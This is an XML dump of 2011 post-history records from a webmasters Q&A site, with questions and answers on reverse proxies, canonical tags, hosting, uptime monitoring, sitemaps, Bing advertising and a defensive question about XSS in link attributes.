  <row Id="25696" PostHistoryTypeId="25" PostId="11344" RevisionGUID="11a14d1d-3c98-4686-83b3-70a684969e61" CreationDate="2011-03-29T18:00:20.710" Comment="http://twitter.com/#!/StackWebmasters/status/52792219589017600" />
  <row Id="25697" PostHistoryTypeId="5" PostId="11318" RevisionGUID="3c1c2c05-893b-4205-a421-ec3ed00834d7" CreationDate="2011-03-29T18:01:09.877" UserId="6390" Comment="added 111 characters in body" Text="What is the best website out there when it comes to tagging information, be it photos, videos, etc. I love how stack overflow allows one to tag anything, but it is missing some features -- like stack overflow tags can't have spaces.&#xD;&#xA;&#xD;&#xA;What are good examples of websites out there whose tagging mechanism is a great example for any upcoming websites?&#xD;&#xA;&#xD;&#xA;Update -- or better yet, what would be some awesome tagging features that Web 2.0 websites could implement?" />
  <row Id="25698" PostHistoryTypeId="2" PostId="11363" RevisionGUID="ea6e2bdd-7939-4912-b872-da04e28c192e" CreationDate="2011-03-29T18:03:19.360" UserId="6425" Text="I have a web server running Apache HTTPD 2.2 serving as a reverse proxy for my IIS 7.5 server.  &#xD;&#xA;This worked fine, until I wanted to use OpenID (using DotNetOpenAuth). Since DotNetOpenAuth throws an exception if I try using any realm other than the domain. To fix that I want to set the hostname server-sided (either on the reverse proxy or on the IIS server).  &#xD;&#xA;I was able to do that when using HTTPD as the back-end but I haven't found the configuration directive for IIS." />
  <row Id="25699" PostHistoryTypeId="1" PostId="11363" RevisionGUID="ea6e2bdd-7939-4912-b872-da04e28c192e" CreationDate="2011-03-29T18:03:19.360" UserId="6425" Text="Force hostname for request" />
  <row Id="25700" PostHistoryTypeId="3" PostId="11363" RevisionGUID="ea6e2bdd-7939-4912-b872-da04e28c192e" CreationDate="2011-03-29T18:03:19.360" UserId="6425" Text="&lt;iis7&gt;&lt;iis&gt;&lt;apache2&gt;&lt;httpd&gt;&lt;proxy&gt;" />
  <row Id="25707" PostHistoryTypeId="2" PostId="11365" RevisionGUID="6f45a11a-3c1c-4b00-9157-450b1a5a3ab4" CreationDate="2011-03-29T18:26:13.180" UserId="1429" Text="If it's a **blog on tech subjects** (web/internet etc) you could try removing the `rel=&quot;nofollow&quot;` from link to the website of the commentor and make it loud and clear on your blog that you don't use nofollow for good interesting comments.&#xD;&#xA;&#xD;&#xA;I would be more happy to spend time adding nice and interesting comments on blogs that reward me by adding a link to my website rather than on blogs that reward me nothing!&#xD;&#xA;&#xD;&#xA;Obviously this means that **you need to review properly each single comment before approval and remove the link to the website if the comment is poor/useless/simplicistic** like and idious: *&quot;Cool article, thanks for sharing!&quot;* (and obviously if the comment is just spam)&#xD;&#xA;&#xD;&#xA;But reviewing comments should be the normal job of whoever runs a blog, the `rel=&quot;nofollow&quot;` was needed because:&#xD;&#xA;&#xD;&#xA;1. too many bloggers are lazy and approve any type of comments without even reading it&#xD;&#xA;&#xD;&#xA;2. many non-tech guys bloggers do not know that they were giving reputation away (see it as PR) to commentors' websites by providing them a free link to their websites.&#xD;&#xA;&#xD;&#xA;3. some blogs have so many followers that would be impossible to look into each comment, but still the choice of the editor could be to publish only the comment he can read and not all of them." />
  <row Id="25709" PostHistoryTypeId="2" PostId="11366" RevisionGUID="e853d956-9500-48c2-867d-caa149c01756" CreationDate="2011-03-29T18:42:36.753" UserId="6376" Text="It's recommended to do that, you may want to link it with foreign keys from other tables or to do queries that contains something like:&#xD;&#xA;&#xD;&#xA;&gt; &quot;SELECT * FROM `users` WHERE `user_id` &gt; 1000&quot;&#xD;&#xA;&#xD;&#xA;When dealing with primary keys it's very handy if it were numbers." />
  <row Id="25710" PostHistoryTypeId="2" PostId="11367" RevisionGUID="d137ec54-2c3b-4e62-a9d4-0ddd96c1fd4e" CreationDate="2011-03-29T20:12:47.330" UserId="6428" Text="I'm puzzled by the first search result here: http://cl.ly/5b07&#xD;&#xA;&#xD;&#xA;The first result has the following rel=&quot;canonical&quot; tag: &#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://seatgeek.com/colorado-buffaloes-basketball-tickets/&quot; /&gt;&#xD;&#xA;&#xD;&#xA;So shouldn't the URL in the tag be indexed instead of the one with &quot;?date=2011-03-29&quot; on the end?" />
  <row Id="25711" PostHistoryTypeId="1" PostId="11367" RevisionGUID="d137ec54-2c3b-4e62-a9d4-0ddd96c1fd4e" CreationDate="2011-03-29T20:12:47.330" UserId="6428" Text="Canonical Tag Not Being Recognized" />
  <row Id="25712" PostHistoryTypeId="3" PostId="11367" RevisionGUID="d137ec54-2c3b-4e62-a9d4-0ddd96c1fd4e" CreationDate="2011-03-29T20:12:47.330" UserId="6428" Text="&lt;seo&gt;&lt;google&gt;&lt;html&gt;&lt;search-engines&gt;&lt;canonical-url&gt;" />
  <row Id="25719" PostHistoryTypeId="25" PostId="11367" RevisionGUID="d949ddbd-95f8-4fb3-a1f6-b6c0261e5cb5" CreationDate="2011-03-29T21:00:21.520" Comment="http://twitter.com/#!/StackWebmasters/status/52837520337141760" />
  <row Id="25720" PostHistoryTypeId="2" PostId="11369" RevisionGUID="9759a6cf-b136-452c-a2d0-93dfb77a100d" CreationDate="2011-03-29T21:23:02.670" UserId="1077" Text="I have a Windows VPS with http://vpsland.com/.  It's $25/month and you can have as many sites as you can fit on the 10GB of disk space.&#xD;&#xA;&#xD;&#xA;It's not running Plesk or whatever so you need to be a little familiar with IIS and Server 2003." />
  <row Id="25721" PostHistoryTypeId="2" PostId="11370" RevisionGUID="e41158d9-9e8c-484a-b9b6-5b6cd3b40b28" CreationDate="2011-03-29T21:25:08.130" UserId="232" Text="If I search for a product name on Bing, for example [&quot;paint.net&quot;][1], the first result is something that looks like an advertising area, but it's called &quot;Official Site&quot;.  &#xD;&#xA;How is it possible to get something like that for my own products?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/search?q=paint.net" />
  <row Id="25722" PostHistoryTypeId="1" PostId="11370" RevisionGUID="e41158d9-9e8c-484a-b9b6-5b6cd3b40b28" CreationDate="2011-03-29T21:25:08.130" UserId="232" Text="How can I get an &quot;Official site&quot; banner/area on Bing?" />
  <row Id="25723" PostHistoryTypeId="3" PostId="11370" RevisionGUID="e41158d9-9e8c-484a-b9b6-5b6cd3b40b28" CreationDate="2011-03-29T21:25:08.130" UserId="232" Text="&lt;advertising&gt;&lt;bing&gt;" />
  <row Id="25724" PostHistoryTypeId="2" PostId="11371" RevisionGUID="499e3edb-3fc4-4568-adb3-4db0bde487be" CreationDate="2011-03-29T21:54:28.680" UserId="4461" Text="You would think so, however [Google has explicitly stated][1] that the `rel=canonical` link element is a **hint** for search engines - as opposed to a **directive** (such as a redirect).&#xD;&#xA;&#xD;&#xA;We have implemented rel-con on a site with 2+ million pages indexed and see a large proportion of non-canonical URLs indexed. I believe this may correct over time, but at this stage Google (et.al) are taking their time to analyse the implementation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="25725" PostHistoryTypeId="2" PostId="11372" RevisionGUID="3f0cf81b-e7e1-425b-bf06-737dd3e79a1f" CreationDate="2011-03-29T21:54:50.850" UserId="2817" Text="The unique number is what we'd call a surrogate key (as opposed to a natural key, which would be some part of the actual data).&#xD;&#xA;&#xD;&#xA;It is almost always advisable to use a surrogate key, the cases where it isn't are vanishingly small.&#xD;&#xA;&#xD;&#xA;Also, I would recommend **against** using an auto-increment column.  It would be much better to use a GUID.  The main problem with an auto-increment is that you must insert the row into the database before you can know what the surrogate id is.  With GUID's, you can safely generate the surrogate id without consulting the database.  It will be difficult to change later if you go with an auto-increment column now." />
  <row Id="25726" PostHistoryTypeId="2" PostId="11373" RevisionGUID="a2cc5d91-1c29-466c-9591-71a9493bc05e" CreationDate="2011-03-29T21:59:26.970" UserId="1064" Text="Try converting your `mod_alias` redirects into `mod_rewrite` directives." />
  <row Id="25727" PostHistoryTypeId="5" PostId="11338" RevisionGUID="d683a126-c639-4253-a12b-de11d4073b7b" CreationDate="2011-03-29T22:02:19.073" UserId="1064" Comment="Added links to jQuery UI site, updates for readability" Text="Try looking at the [jQuery UI][1] package - it supplies really nice UI widgets, including a [slider][2] similar to the widget you are looking for.&#xD;&#xA;&#xD;&#xA;I tend to use jQuery UI for my sites when I need a slider. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jqueryui.com/&#xD;&#xA;  [2]: http://jqueryui.com/demos/slider/" />
  <row Id="25728" PostHistoryTypeId="2" PostId="11374" RevisionGUID="e9f77302-4e82-4563-a873-36312463586b" CreationDate="2011-03-29T22:04:14.897" UserId="6355" Text="You should start by commenting on other blogs, specially in blogs that the author usually comments elsewhere." />
  <row Id="25729" PostHistoryTypeId="2" PostId="11375" RevisionGUID="0dae4ebc-084f-4aed-99f1-a115abd39782" CreationDate="2011-03-29T22:25:50.307" UserId="6355" Text="And you can't customize the layout and page in Wordpress because?&#xD;&#xA;&#xD;&#xA;You could use a mail-list for the mail. Google Groups has some limitations to prevent spam, but it's worth the trouble. If your server has mailman, it may have less restrictions." />
  <row Id="25730" PostHistoryTypeId="17" PostId="11377" RevisionGUID="6e208578-4967-4c91-bfcc-2f689e31903b" CreationDate="2011-03-29T23:16:29.733" UserId="-1" Comment="from http://stackoverflow.com/questions/5458521/speed-up-heroku-small-app/5458786#5458786" Text="" />
  <row Id="25731" PostHistoryTypeId="2" PostId="11377" RevisionGUID="4ffe39f6-8bf2-4bde-9d4e-4a8bd747820a" CreationDate="2011-03-28T12:10:34.673" UserDisplayName="John Beynon" Text="see my response in this [post][1] - Dynos do not increase performance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/5406607/heroku-different-performance-parameters-for-different-parts-of-your-application/5419317#5419317" />
  <row Id="25732" PostHistoryTypeId="2" PostId="11376" RevisionGUID="7e4ed379-fb2f-49e8-bee7-649916595741" CreationDate="2011-03-28T11:47:20.420" UserDisplayName="andkjaer" Text="I want to speed up my Heroku app, should I add an extra Dyno or the first Worker?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="25733" PostHistoryTypeId="1" PostId="11376" RevisionGUID="7e4ed379-fb2f-49e8-bee7-649916595741" CreationDate="2011-03-28T11:47:20.420" UserDisplayName="andkjaer" Text="Speed up Heroku (small) app" />
  <row Id="25734" PostHistoryTypeId="3" PostId="11376" RevisionGUID="7e4ed379-fb2f-49e8-bee7-649916595741" CreationDate="2011-03-28T11:47:20.420" UserDisplayName="andkjaer" Text="&lt;ruby-on-rails&gt;" />
  <row Id="25735" PostHistoryTypeId="17" PostId="11376" RevisionGUID="cfcb6348-8d1c-48e6-bc15-b76d08c8e871" CreationDate="2011-03-29T23:16:29.733" UserId="-1" Comment="from http://stackoverflow.com/questions/5458521/speed-up-heroku-small-app" Text="" />
  <row Id="25736" PostHistoryTypeId="2" PostId="11378" RevisionGUID="7ff86843-84c4-4a83-8709-a7ca64565c70" CreationDate="2011-03-29T23:45:57.277" UserId="1134" Text="At this point I don't want to interface w/ google account, I just would like to know if they are logged in to a google account or not, and then serve slightly different links if they are|aren't. I'm using PHP and strict (where possible) HTML 4.&#xD;&#xA;" />
  <row Id="25737" PostHistoryTypeId="1" PostId="11378" RevisionGUID="7ff86843-84c4-4a83-8709-a7ca64565c70" CreationDate="2011-03-29T23:45:57.277" UserId="1134" Text="How can I tell if someone is logged into a google account?" />
  <row Id="25738" PostHistoryTypeId="3" PostId="11378" RevisionGUID="7ff86843-84c4-4a83-8709-a7ca64565c70" CreationDate="2011-03-29T23:45:57.277" UserId="1134" Text="&lt;google&gt;&lt;html&gt;&lt;php&gt;" />
  <row Id="25739" PostHistoryTypeId="25" PostId="11370" RevisionGUID="60a345bd-e7a4-49ee-bcc8-aa904ac6803a" CreationDate="2011-03-30T00:00:21.880" Comment="http://twitter.com/#!/StackWebmasters/status/52882820577755136" />
  <row Id="25740" PostHistoryTypeId="2" PostId="11379" RevisionGUID="3f8765b3-bd60-4760-ae6b-a8992cf80232" CreationDate="2011-03-30T00:18:14.033" UserId="6432" Text="Anyone recommend a good open source hotel booking system built for a LAMP stack?" />
  <row Id="25741" PostHistoryTypeId="1" PostId="11379" RevisionGUID="3f8765b3-bd60-4760-ae6b-a8992cf80232" CreationDate="2011-03-30T00:18:14.033" UserId="6432" Text="open source php hotel booking system" />
  <row Id="25742" PostHistoryTypeId="3" PostId="11379" RevisionGUID="3f8765b3-bd60-4760-ae6b-a8992cf80232" CreationDate="2011-03-30T00:18:14.033" UserId="6432" Text="&lt;php&gt;&lt;open-source&gt;&lt;lamp&gt;" />
  <row Id="25743" PostHistoryTypeId="6" PostId="11379" RevisionGUID="4a67e796-596a-4f8f-9460-97457f6efadc" CreationDate="2011-03-30T01:10:23.883" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;php&gt;&lt;open-source&gt;&lt;lamp&gt;&lt;looking-for-a-script&gt;" />
  <row Id="25744" PostHistoryTypeId="2" PostId="11380" RevisionGUID="ad5d0560-4fc5-49d2-ae8e-d54c7db83ce9" CreationDate="2011-03-30T01:11:32.337" UserId="1253" Text="If you're not using Google as an OpenID provider I don't think there is any way to know. That kind of information is kept off limits as a security precaution." />
  <row Id="25745" PostHistoryTypeId="25" PostId="11379" RevisionGUID="0506edc5-8222-4ebd-b3bb-d76d04071f94" CreationDate="2011-03-30T03:00:21.723" Comment="http://twitter.com/#!/StackWebmasters/status/52928119241314304" />
  <row Id="25746" PostHistoryTypeId="2" PostId="11381" RevisionGUID="4f51b489-da19-4506-9752-0821f6b6185b" CreationDate="2011-03-30T04:31:40.663" UserId="6433" Text="http://joomlahbs.com/ might be of help since joomla is open source" />
  <row Id="25747" PostHistoryTypeId="25" PostId="11378" RevisionGUID="89714cef-987c-4b3b-b982-e9afa22365a3" CreationDate="2011-03-30T06:00:21.913" Comment="http://twitter.com/#!/StackWebmasters/status/52973418718568448" />
  <row Id="25748" PostHistoryTypeId="6" PostId="11356" RevisionGUID="6a4fc7ed-ae61-4007-a069-937431e625e5" CreationDate="2011-03-30T06:19:13.703" UserId="6434" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;web&gt;&lt;looking-for-hosting&gt;" />
  <row Id="25749" PostHistoryTypeId="2" PostId="11382" RevisionGUID="16b1b006-d606-49fc-81f4-90caceee77cf" CreationDate="2011-03-30T07:40:33.213" UserId="1089" Text="Something no-one else seems to have picked up on is the quality of the blog postings themselves. Are they about topics anyone cares about? Are they well written, do they provoke a response?&#xD;&#xA;&#xD;&#xA;Making posts on other blogs is a very good idea as @Osvaldo states. If you want people to come and post good comments on your blog, you going out and doing the same on other peoples blogs, helping add value to their blog is likely to reap rewards. Either in terms of the blogger themselves returning the favour, or attracting readers of said blog who enjoy your writing style/opinion.&#xD;&#xA;&#xD;&#xA;Failing that, run a competition. Offer a 5/10 dollar amazon voucher for the best posting in a month." />
  <row Id="25750" PostHistoryTypeId="2" PostId="11383" RevisionGUID="e56e1a64-7b87-48d4-8d50-44af5ee5a493" CreationDate="2011-03-30T07:44:02.720" UserId="6437" Text="I need a website monitoring service to make sure my app is not only up but also responsive.  Pingdom is great, but just so expensive.  Is there anything like it but more affordable?" />
  <row Id="25751" PostHistoryTypeId="1" PostId="11383" RevisionGUID="e56e1a64-7b87-48d4-8d50-44af5ee5a493" CreationDate="2011-03-30T07:44:02.720" UserId="6437" Text="Alternative to Pingdom website monitoring service" />
  <row Id="25752" PostHistoryTypeId="3" PostId="11383" RevisionGUID="e56e1a64-7b87-48d4-8d50-44af5ee5a493" CreationDate="2011-03-30T07:44:02.720" UserId="6437" Text="&lt;monitoring&gt;&lt;website-analytics-tools&gt;&lt;load-time&gt;&lt;sms&gt;&lt;downtime&gt;" />
  <row Id="25755" PostHistoryTypeId="5" PostId="11215" RevisionGUID="67f58407-2d4f-4f32-b4f2-65aa4b6b7e04" CreationDate="2011-03-30T08:14:31.093" UserId="3461" Comment="added 1 characters in body" Text="You might want to check [Webhostingtalk][1] forums. Yet though, as I have just said in other answer, seems Hostgator is one of the most respected (you can check in the mentioned forum. Plus see several few other with almost same good fame.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webhostingtalk.com" />
  <row Id="25756" PostHistoryTypeId="2" PostId="11386" RevisionGUID="365093d8-001a-4e08-be68-df604b867bc5" CreationDate="2011-03-30T08:17:30.287" UserId="2739" Text="I have used [UK Web Solutions Direct][1] for years and have never had any problems. They are reliable and not too expensive.&#xD;&#xA;&#xD;&#xA;On the flip side, I have used [easyspace][2] once and they were expensive, difficult to use and with extremely poor customer service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ukwebsolutionsdirect.co.uk/&#xD;&#xA;  [2]: http://blog.ajcw.com/2011/01/easyspace-easy-theft/" />
  <row Id="25757" PostHistoryTypeId="5" PostId="11383" RevisionGUID="9cfe3933-09e2-4242-9a92-a13d303bc7bc" CreationDate="2011-03-30T08:38:06.470" UserId="6437" Comment="added 241 characters in body" Text="I need a website monitoring service to make sure my app is not only up but also responsive.  Pingdom is great, but just so expensive.  Is there anything like it but more affordable?&#xD;&#xA;&#xD;&#xA;**_UPDATE_**: I'd like 1 minute interval checks at least. By responsive, I'd like to know stats on the response times of the individual checks and an SMS alert maybe if the responsive stays below a threshold for a certain amount of time." />
  <row Id="25758" PostHistoryTypeId="2" PostId="11387" RevisionGUID="f979a005-e5e8-48ad-9f2c-de2e1a72c9d4" CreationDate="2011-03-30T08:41:38.187" UserId="4306" Text="[mon.itor.us][1] and [SiteUptime][2] have free/ad-supported plans. Check are only at 30-minute intervals however.&#xD;&#xA;&#xD;&#xA;They both have plan upgrades which measure at 5 minute intervals and are cheaper than Pingdom, so you might find a reasonable cost/benefit trade-off.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mon.itor.us/&#xD;&#xA;  [2]: http://www.siteuptime.com/compare.php" />
  <row Id="25759" PostHistoryTypeId="2" PostId="11388" RevisionGUID="e36b17d1-da30-42dc-9cbc-aa0d4ee53ca1" CreationDate="2011-03-30T08:44:17.357" UserId="5739" Text="You need to sign up to Microsofts [AdCenter][1]. &#xD;&#xA;&#xD;&#xA;Like Google Adwords AdCenter is based on Pay Per Click Advertising&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Pay-per-click advertising**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Microsoft search advertising is based&#xD;&#xA;&gt; on a pay-per-click (PPC) cost model.&#xD;&#xA;&gt; You determine your base bid, which is&#xD;&#xA;&gt; the maximum amount you’re willing to&#xD;&#xA;&gt; pay when someone clicks on your ad.&#xD;&#xA;&gt; You’ll never be charged more than your&#xD;&#xA;&gt; base bid and you might even pay less.&#xD;&#xA;&gt; With search advertising, one cent more&#xD;&#xA;&gt; than the next highest bid guarantees&#xD;&#xA;&gt; your ad is displayed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;More information is available here: [Advertise on Bing using Microsoft adCenter][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adcenter.microsoft.com/Customer/Signup.aspx?mkt=en-sg&amp;adv_market=en-sg&amp;s_int=sg_acsignup&#xD;&#xA;  [2]: http://advertising.microsoft.com/singapore/microsoft-adcenter" />
  <row Id="25760" PostHistoryTypeId="5" PostId="11388" RevisionGUID="2181311c-bf80-48dd-bf0b-740f70f5c1ef" CreationDate="2011-03-30T08:51:20.830" UserId="5739" Comment="added 277 characters in body" Text="You need to sign up to Microsofts [AdCenter][1]. &#xD;&#xA;&#xD;&#xA;Like [Google Adwords][2], AdCenter is based on a Pay Per Click Advertising model where you pay only when they click on the link and visit your site.&#xD;&#xA;&#xD;&#xA;The Cost Per Click (CPC) is based on a variety of factors including but certainly not limited to: relevancy, Click Through Rate (CTR), speed of landing page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Pay-per-click advertising**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Microsoft search advertising is based&#xD;&#xA;&gt; on a pay-per-click (PPC) cost model.&#xD;&#xA;&gt; You determine your base bid, which is&#xD;&#xA;&gt; the maximum amount you’re willing to&#xD;&#xA;&gt; pay when someone clicks on your ad.&#xD;&#xA;&gt; You’ll never be charged more than your&#xD;&#xA;&gt; base bid and you might even pay less.&#xD;&#xA;&gt; With search advertising, one cent more&#xD;&#xA;&gt; than the next highest bid guarantees&#xD;&#xA;&gt; your ad is displayed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;More information is available here: [Advertise on Bing using Microsoft adCenter][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adcenter.microsoft.com/Customer/Signup.aspx?mkt=en-sg&amp;adv_market=en-sg&amp;s_int=sg_acsignup&#xD;&#xA;  [2]: http://adwords.google.com&#xD;&#xA;  [3]: http://advertising.microsoft.com/singapore/microsoft-adcenter" />
  <row Id="25761" PostHistoryTypeId="2" PostId="11389" RevisionGUID="e50850c3-f896-4a84-9999-697402e19d0d" CreationDate="2011-03-30T08:55:28.017" UserId="5739" Text="We have been using [starfieldtech.com][1] for many years now and have found them to be great.&#xD;&#xA;&#xD;&#xA;To verify they send an email to the admin contact on the domain record.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://starfieldtech.com" />
  <row Id="25762" PostHistoryTypeId="25" PostId="11383" RevisionGUID="c140c345-d40f-442e-8d52-c047d00df4aa" CreationDate="2011-03-30T09:00:22.147" Comment="http://twitter.com/#!/StackWebmasters/status/53018717252096002" />
  <row Id="25764" PostHistoryTypeId="2" PostId="11390" RevisionGUID="08d4033c-be58-44b2-a879-f8d6f4cc210a" CreationDate="2011-03-30T09:07:14.130" UserId="6439" Text="I think you should take a look at https://en.dinahosting.com/&#xD;&#xA;As far as I know, they have many of the things you are asking for." />
  <row Id="25765" PostHistoryTypeId="2" PostId="11391" RevisionGUID="2de335fa-b584-498e-94f3-6b18a6087efb" CreationDate="2011-03-30T09:08:38.350" UserId="5739" Text="You can add any link/image to a survey that you like but one of the survey companies that a lot of the businesses I deal with use [Survey Monkey][1]&#xD;&#xA;&#xD;&#xA;They offer a [free plan][2] which will give you 10 questions per survey and 100 responses per survey. From there the £24 a month package gives you Unlimited questions and 1,000 responses per month ($0.10 per additional response).&#xD;&#xA;&#xD;&#xA;BTW, don't forget to offer some form of incentive to people who complete the survey because this will: &#xD;&#xA;&#xD;&#xA; 1. Result in more responses&#xD;&#xA; 2. Allow you to collect email addresses for future (opt in) advertising)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.surveymonkey.com&#xD;&#xA;  [2]: http://www.surveymonkey.com/pricing/?utm_source=header" />
  <row Id="25766" PostHistoryTypeId="2" PostId="11392" RevisionGUID="84953b53-5dfa-49ab-bff2-60f1882fc5cd" CreationDate="2011-03-30T09:40:51.680" UserId="6441" Text="I wonder if `href` and `src` attributes on `&lt;a&gt;` and `&lt;img&gt;` tags are always safe w.r.t. XSS attacks, if they start with `http://` or `https://`.&#xD;&#xA;&#xD;&#xA;For example, is it possible to append `javascript: ...` to the `href` and `src` attribute in some manner, to execute code?&#xD;&#xA;&#xD;&#xA;**Disregarding** whether or not the destination page is e.g. a pishing site, or the `&lt;img src=...&gt;` triggers a terribly troublesome HTTP GET request.&#xD;&#xA;&#xD;&#xA;Background: I'm processing text with markdown, and then I sanitize the resulting HTML (using [JsHtmlSanitizer][1]). However I need a simple way to create links within my site; I don't want to prefix `http://servername/context-path/` to all within-the-site links. So I'm about to automatically prefix certain links with `http://servername/context-path/`. And thought I should ask this question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Kind regards,  &#xD;&#xA;Kaj-Magnus&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer&#xD;&#xA;" />
  <row Id="25767" PostHistoryTypeId="1" PostId="11392" RevisionGUID="84953b53-5dfa-49ab-bff2-60f1882fc5cd" CreationDate="2011-03-30T09:40:51.680" UserId="6441" Text="Is this safe? &lt;a href=http://javascript:...&gt;" />
  <row Id="25768" PostHistoryTypeId="3" PostId="11392" RevisionGUID="84953b53-5dfa-49ab-bff2-60f1882fc5cd" CreationDate="2011-03-30T09:40:51.680" UserId="6441" Text="&lt;html&gt;&lt;javascript&gt;&lt;security&gt;&lt;xss&gt;" />
  <row Id="25769" PostHistoryTypeId="2" PostId="11393" RevisionGUID="1227ed5a-f4b6-42cc-a796-7276eb7423ca" CreationDate="2011-03-30T09:51:25.250" UserId="5727" Text="Do I need a sitemap index file if I have multiple sitemaps?&#xD;&#xA;&#xD;&#xA;At the moment I just specify multiple sitemaps in my robots.txt, is the equal to having the index file?" />
  <row Id="25770" PostHistoryTypeId="1" PostId="11393" RevisionGUID="1227ed5a-f4b6-42cc-a796-7276eb7423ca" CreationDate="2011-03-30T09:51:25.250" UserId="5727" Text="Difference between robots.txt and sitemaps index file" />
  <row Id="25771" PostHistoryTypeId="3" PostId="11393" RevisionGUID="1227ed5a-f4b6-42cc-a796-7276eb7423ca" CreationDate="2011-03-30T09:51:25.250" UserId="5727" Text="&lt;seo&gt;&lt;sitemap&gt;&lt;seo-friendly&gt;" />
  <row Id="25772" PostHistoryTypeId="5" PostId="7927" RevisionGUID="7ca691a2-c9c5-44f1-aea4-c5bf88e2d313" CreationDate="2011-03-30T09:59:10.413" UserId="4719" Comment="Removed &quot;no response from yottaa support&quot; part (not relevant anymore)" Text="I'm using both Google Analytics and [Yottaa][1] for my website. Yottaa bots send quite a lot a traffic (relatively to the normal traffic of my website), and thus my Google Analytics is kind of flooded by that.&#xD;&#xA;&#xD;&#xA;I don't know how to tell Yottaa bots traffic and normal human traffic apart on Google Analytics. How to do that?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://yottaa.com" />
  <row Id="25773" PostHistoryTypeId="2" PostId="11394" RevisionGUID="bcfd9754-5f55-4514-9b6e-85cf5bacc3aa" CreationDate="2011-03-30T10:22:25.530" UserId="6442" Text="I need to find out how I can host different domains which will have the same content. I want users to be able to choose their country and based on that decide which domain to load. How do I do this without having to duplicate content? thanks" />
  <row Id="25774" PostHistoryTypeId="1" PostId="11394" RevisionGUID="bcfd9754-5f55-4514-9b6e-85cf5bacc3aa" CreationDate="2011-03-30T10:22:25.530" UserId="6442" Text="I want o host the same website content on different domains" />
  <row Id="25775" PostHistoryTypeId="3" PostId="11394" RevisionGUID="bcfd9754-5f55-4514-9b6e-85cf5bacc3aa" CreationDate="2011-03-30T10:22:25.530" UserId="6442" Text="&lt;multiple-domains&gt;" />
  <row Id="25776" PostHistoryTypeId="2" PostId="11395" RevisionGUID="25ccbf5b-4b12-452c-b546-b503bade76e8" CreationDate="2011-03-30T10:55:10.923" UserId="4461" Text="Technically yes, but it isn't the most efficient - for several reasons:&#xD;&#xA;&#xD;&#xA; 1. Multiple instructions as opposed to one&#xD;&#xA; 2. Inability to assign priority or freshness (using timestamps)&#xD;&#xA; 3. Requires more manual maintenance when updating/changing both the robots.txt file and Google/Bing webmaster tools etc&#xD;&#xA;" />
  <row Id="25777" PostHistoryTypeId="2" PostId="11396" RevisionGUID="22c92c19-b25a-4fea-a30f-c466d0c78cd6" CreationDate="2011-03-30T11:19:26.017" UserId="2912" Text="Here's what I ended up doing:&#xD;&#xA;&#xD;&#xA;- transferred the .name domain to gandi.net, which turned up in a list of registrars that accept .name registrations. I had done business with them before (10 years ago) and was reminded of them as well as attracted to [their excellent &quot;no bullshit&quot; page][1]&#xD;&#xA;- once transfer was complete (which took 5 days - thanks a lot dd24), I went into the DNS record settings and changed the A record to point to the location I'm hosting the content of my site. I also added CNAME records for * to forward to myopenid so I can create subdomains eg. xxx.my.name.name for various purposes&#xD;&#xA;- I added the tags Paul mentioned in his answer from Jeff Atwood's post to the head of my HTML page, redirecting things to http://my.name.myopenid.com/&#xD;&#xA;&#xD;&#xA;Then I waited about 24 hours and hey presto, everything's up and running again. One thing of note: when I try to sign in to an OpenID site, eg. StackExchange, I fill in my .name as my OpenID URL and am redirected to the MyOpenID sign in for http://my.name.myopenid.com. Previously I was redirected to a custom MyOpenID login for http://my.name.name/ as I think FreeYourID and MyOpenID had some kind of custom solution set up. So now I have to re-allow many of the sites I already had whitelisted to automatically log me in, but it all seems to be working. Inexplicably. (How does this all keep working, anyway?) 37signals logins are still working too.&#xD;&#xA;&#xD;&#xA;I'll post a comment if I run into anything that's broken as a result of this transfer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gandi.net/no-bullshit" />
  <row Id="25778" PostHistoryTypeId="2" PostId="11397" RevisionGUID="b0335ad3-b65a-4111-98af-8d77c12416e9" CreationDate="2011-03-30T11:23:34.707" UserId="5739" Text="I'm not sure what you mean here.&#xD;&#xA;&#xD;&#xA;Are you wanting identical content on different TLD's that are specific to countries? ie .co.uk for UK, .com for US, .ie for Italy&#xD;&#xA;&#xD;&#xA;Or are you wanting one domain/TLD and to serve up different content based on the users country of origin?&#xD;&#xA;&#xD;&#xA;If so you can use a variety of different Geolocation techniques. [IP2Location][1] is one company that offers a fairly robust solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ip2location.com/" />
